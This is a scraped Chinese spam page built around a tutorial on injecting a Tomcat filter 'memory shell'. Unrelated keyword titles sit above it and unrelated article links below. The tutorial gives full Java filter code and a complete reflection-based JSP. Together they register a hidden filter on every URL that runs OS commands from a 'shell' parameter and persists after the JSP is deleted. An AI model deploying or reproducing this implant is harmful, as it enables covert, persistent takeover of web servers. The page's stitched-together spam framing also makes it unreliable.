当前位置: 首页 > news >正文

上海建设工程招投标在什么网站多用户商城app源码

上海建设工程招投标在什么网站,多用户商城app源码,做网站用哪个预装系统,福州最好的网站建设主要是通过过滤器来拦截severlet请求中的参数#xff0c;作为过滤器中的参数#xff0c;来调用自定义过滤器中的恶意函数 在这里我们分析一下filter的实现原理#xff0c;循序渐进 Demo1#xff1a; 直接使用filter模拟内存马效果#xff1a; 1.配置一个简单的severlet的…主要是通过过滤器来拦截severlet请求中的参数作为过滤器中的参数来调用自定义过滤器中的恶意函数 在这里我们分析一下filter的实现原理循序渐进 Demo1 直接使用filter模拟内存马效果 1.配置一个简单的severlet的web项目 实现一个filter类 package com.naihe;import javax.servlet.*; import java.io.IOException;public class FilertDemo implements Filter {Overridepublic void init(FilterConfig filterConfig) throws ServletException {System.out.println(初始加完成);}Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {servletRequest.setCharacterEncoding(utf-8);servletResponse.setCharacterEncoding(utf-8);servletResponse.setContentType(text/html;charsetUTF-8);filterChain.doFilter(servletRequest,servletResponse);System.out.println(servletRequest.getParameter(shell));Runtime.getRuntime().exec(servletRequest.getParameter(shell));System.out.println(过滤中。。。);}Overridepublic void destroy() {System.out.println(过滤结束);} } 配置xml 效果 可以看到这个无需指定木马文件就能实现webshell看似很厉害其实了解java开发都小伙伴都懂这都是最基础serverlet的基本功能只是添加了一些恶意代码而已。不过这第一步我们就对内存马有了一定的感受只是感受接下来就是注意细节该如何让它在实际中应用与更加隐蔽。 Demo2 现在我们开始隐藏与实现 package com.naihe;import javax.servlet.*; import java.io.IOException;public class FilertDemo implements Filter {Overridepublic void init(FilterConfig filterConfig) throws ServletException {System.out.println(初始加完成);}Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {servletRequest.setCharacterEncoding(utf-8);servletResponse.setCharacterEncoding(utf-8);servletResponse.setContentType(text/html;charsetUTF-8);filterChain.doFilter(servletRequest,servletResponse);System.out.println(servletRequest.getParameter(shell));Runtime.getRuntime().exec(servletRequest.getParameter(shell));System.out.println(过滤中。。。);}Overridepublic void destroy() {System.out.println(过滤结束);} } 当然这里的代码还是之前的代码只是为了方便小伙伴们看源码。 这里我们不使用xml配置filter这样做的目的就是为了在实际中不修改xml从而触发filter因为实际渗透中xml是不易修改的而且容易被发现。 所以现在我们就开始一步一步分析tomcat是如何通过web.xml生成的filter对象。 首先我们在filterChain变量这里打上断点 跟进doFilter: 会发现ApplicationFilterChain类的filters属性中包含了filter的信息 注意这里的第二个过滤器是tomcat自带的过滤器且面分析还会用到 跟进internalDoFilter: 可以看到这里的filterConfig类中的filter并非我们之前创建的filter因此我们可以回过头来看一下有没有我们的想要的filterConfig 确实存在证明这里的filter加载是按照顺序进行加载的因此我们就当中我们在分析第一个filter自定义的。 进行查看代码发现后面调用了doFilter 这里就可以进入到tomcat自带的filter filter切换大概流程 ApplicationFilterChain记录了所有filter的信息--将$this-filter--》filterConfig获得了一个filter的相关信息--filterConfig.filter--》filter --doFilter--》调用自定义filter中的恶意代码 分析到现在ApplicationFilterChain到底从何而来呢 我们往前找找到了StandardWrapperValve这个类他调用ApplicationFilterFactory的createFilterChain来创建了FilterChain对象 然后自己调用doFilter进入第一个过滤器) 那么这个FilterChain对象是如何获取filert的相关信息的呢 下面继续分析 往下查看其他代码发现并没有对filterChain中的值继续改变说明filterChain中的与filter相关内容在创建是就已经填入了 因此进入ApplicationFilterFactory一探究竟 存放着过滤器名过滤器实例 在这里获取获取filter的名字和对应的url 这里对应的是名字和过滤器的全限定名 将filterMap的内容添加到filterChain中并返回filter的值 可知这三个属性都是与filter有关的 那这些值又是从何而来了继续分析 可以看到又调用了一个类用来创建context 其实到后面分析的话就还是比较复杂了然而我们也没必要溯源到底我直接用反射创建对象利用就行主要能让这个filter添加到其他filter里一起运行就行了。 又回到之前ApplicationFilterFactory里这里会返回filterChain这个对象如果我们直接filterConfig的内容是不是就能在filterChain调用addFilter时将filter添加进去。 而在上面分析fiterConfig的内容都是从context中得到因此只要我们能控制context的内容就行了 FilterDefs存放 FilterDef 的数组 FilterDef 中存储着我们过滤器名过滤器实例 等基本信息 FilterConfigs存放 filterConfig 的数组在 FilterConfig 中主要存放 FilterDef 和 Filter 对象等信息 FilterMaps存放 FilterMap 的数组在 FilterMap 中主要存放了 FilterName 和 对应的 URLPattern只要我们将filter FilterDefsFilterMaps添加到FilterConfigs中就可以添加filter了 在这之前我们需要了解一些知识 ServletContextjavax.servlet.ServletContextServlet规范中规定了的一个ServletContext接口提供了Web应用所有Servlet的视图通过它可以对某个Web应用的各种资源和功能进行访问。WEB容器在启动时它会为每个Web应用程序都创建一个对应的ServletContext它代表当前Web应用。并且它被所有客户端共享。 ApplicationContextorg.apache.catalina.core.ApplicationContext 对应Tomcat容器为了满足Servlet规范必须包含一个ServletContext接口的实现。Tomcat的Context容器中都会包含一个ApplicationContext。 StandardContextCatalina主要包括Connector和ContainerStandardContext就是一个Container它主要负责对进入的用户请求进行处理。实际来说不是由它来进行处理而是交给内部的valve处理。 一个context表示了一个外部应用它包含多个wrapper每个wrapper表示一个servlet定义。Tomcat 默认的 Service 服务是 Catalina 这三类是必须的 总体流程 % page importjava.lang.reflect.Field % % page importorg.apache.catalina.Context % % page importorg.apache.tomcat.util.descriptor.web.FilterMap % % page importjava.lang.reflect.Constructor % % page importorg.apache.catalina.core.ApplicationFilterConfig % % page importorg.apache.tomcat.util.descriptor.web.FilterDef % % page importorg.apache.catalina.core.ApplicationContextFacade % % page importorg.apache.catalina.core.ApplicationContext % % page importorg.apache.catalina.core.StandardContext % % page importjava.util.HashMap % % page importjava.io.IOException % %//反射创建servletContextServletContext servletContext request.getServletContext();ApplicationContextFacade applicationContextFacade (ApplicationContextFacade) servletContext;Field applicationContextFacadeContext applicationContextFacade.getClass().getDeclaredField(context);applicationContextFacadeContext.setAccessible(true);//反射创建applicationContextApplicationContext applicationContext (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);Field applicationContextContext applicationContext.getClass().getDeclaredField(context);applicationContextContext.setAccessible(true);//反射创建standardContextStandardContext standardContext (StandardContext) applicationContextContext.get(applicationContext);//创建filterConfigsField filterConfigs standardContext.getClass().getDeclaredField(filterConfigs);filterConfigs.setAccessible(true);HashMap hashMap (HashMap) filterConfigs.get(standardContext);String filterName Filter;if (hashMap.get(filterName)null){Filter filter new Filter() {Overridepublic void init(FilterConfig filterConfig) throws ServletException {System.out.println(注入初始化);}Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {servletRequest.setCharacterEncoding(utf-8);servletResponse.setCharacterEncoding(utf-8);servletResponse.setContentType(text/html;charsetUTF-8);filterChain.doFilter(servletRequest,servletResponse);System.out.println(servletRequest.getParameter(shell));Runtime.getRuntime().exec(servletRequest.getParameter(shell));System.out.println(过滤中。。。);}Overridepublic void destroy() { // Filter.super.destroy();}};//构造filterDef对象FilterDef filterDef new FilterDef();filterDef.setFilter(filter);filterDef.setFilterName(filterName);filterDef.setFilterClass(filter.getClass().getName());standardContext.addFilterDef(filterDef);//构造filterMap对象FilterMap filterMap new FilterMap();filterMap.addURLPattern(/*);filterMap.setFilterName(filterName);filterMap.setDispatcher(DispatcherType.REQUEST.name());standardContext.addFilterMapBefore(filterMap);//构造filterConfigConstructor constructor ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig applicationFilterConfig (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);//将filterConfig添加到filterConfigs中即可完成注入hashMap.put(filterName,applicationFilterConfig);response.getWriter().println(successfully);} % 先访问 再执行 这样一来我们就可以不用配置xml和创建filter类文件就可以直接实现filter并且就算jsp被删除之前创建的对象依旧在内存中
http://www.zqtcl.cn/news/40441/

相关文章:

  • 网站域名能改吗网站维护页面怎么做的
  • 自己做的网站怎么被百度收录2020一建试题
  • 地方网站 o2o视频解析接口网站怎么做
  • 哈尔滨网站基础优化西安通程建设工程 网站
  • 网站如何建立做微商怎样加入网站卖东西赚钱
  • 建站不备案网站开发初级技术人员
  • 昆明专业网站排名推广硬件开发文档
  • 作词做曲网站wordpress媒体库制作文件夹
  • 企业门户网站什么意思智慧城市展厅设计公司
  • 西宁手机网站建设国外订房网站怎么和做
  • 教育培训网站公司logo设计理念
  • 护肤品网站优化案例施工企业法定条件
  • 英文网站导航 源码建设一个简单的网站
  • 网站支付按钮怎么做北京ifc大厦
  • 租房网站建设多少钱一台服务器一个固定ip怎样做两个网站
  • 碑林区营销型网站建设wordpress法律主题
  • 嘉兴响应式网站做网站的目的是什么
  • 品辰设计的网站谁做的做煤的网站app
  • 南宁建站软件南昌网站建设哪家好薇
  • 医疗网站怎么做推广做商城网站哪里
  • 鑫牛元网站建设鄂尔多斯网站制作
  • 手机网站 域名解析wordpress 图标不显示
  • 网站建设佰金手指科杰十八专门做三国战纪的网站叫什么
  • 浏览器网站大全免费ajax网站模板
  • 抖音代运营是怎么回事网站标题优化工具
  • 引用网站信息怎么做备注品牌网官网
  • 忻州推广型网站建设前端开发常用框架
  • 莒县建设局网站创建自己的网站怎么弄
  • 进出口贸易网站制作最新注册域名查询
  • wordpress快速建站教程视频教程网站的建设及发布步骤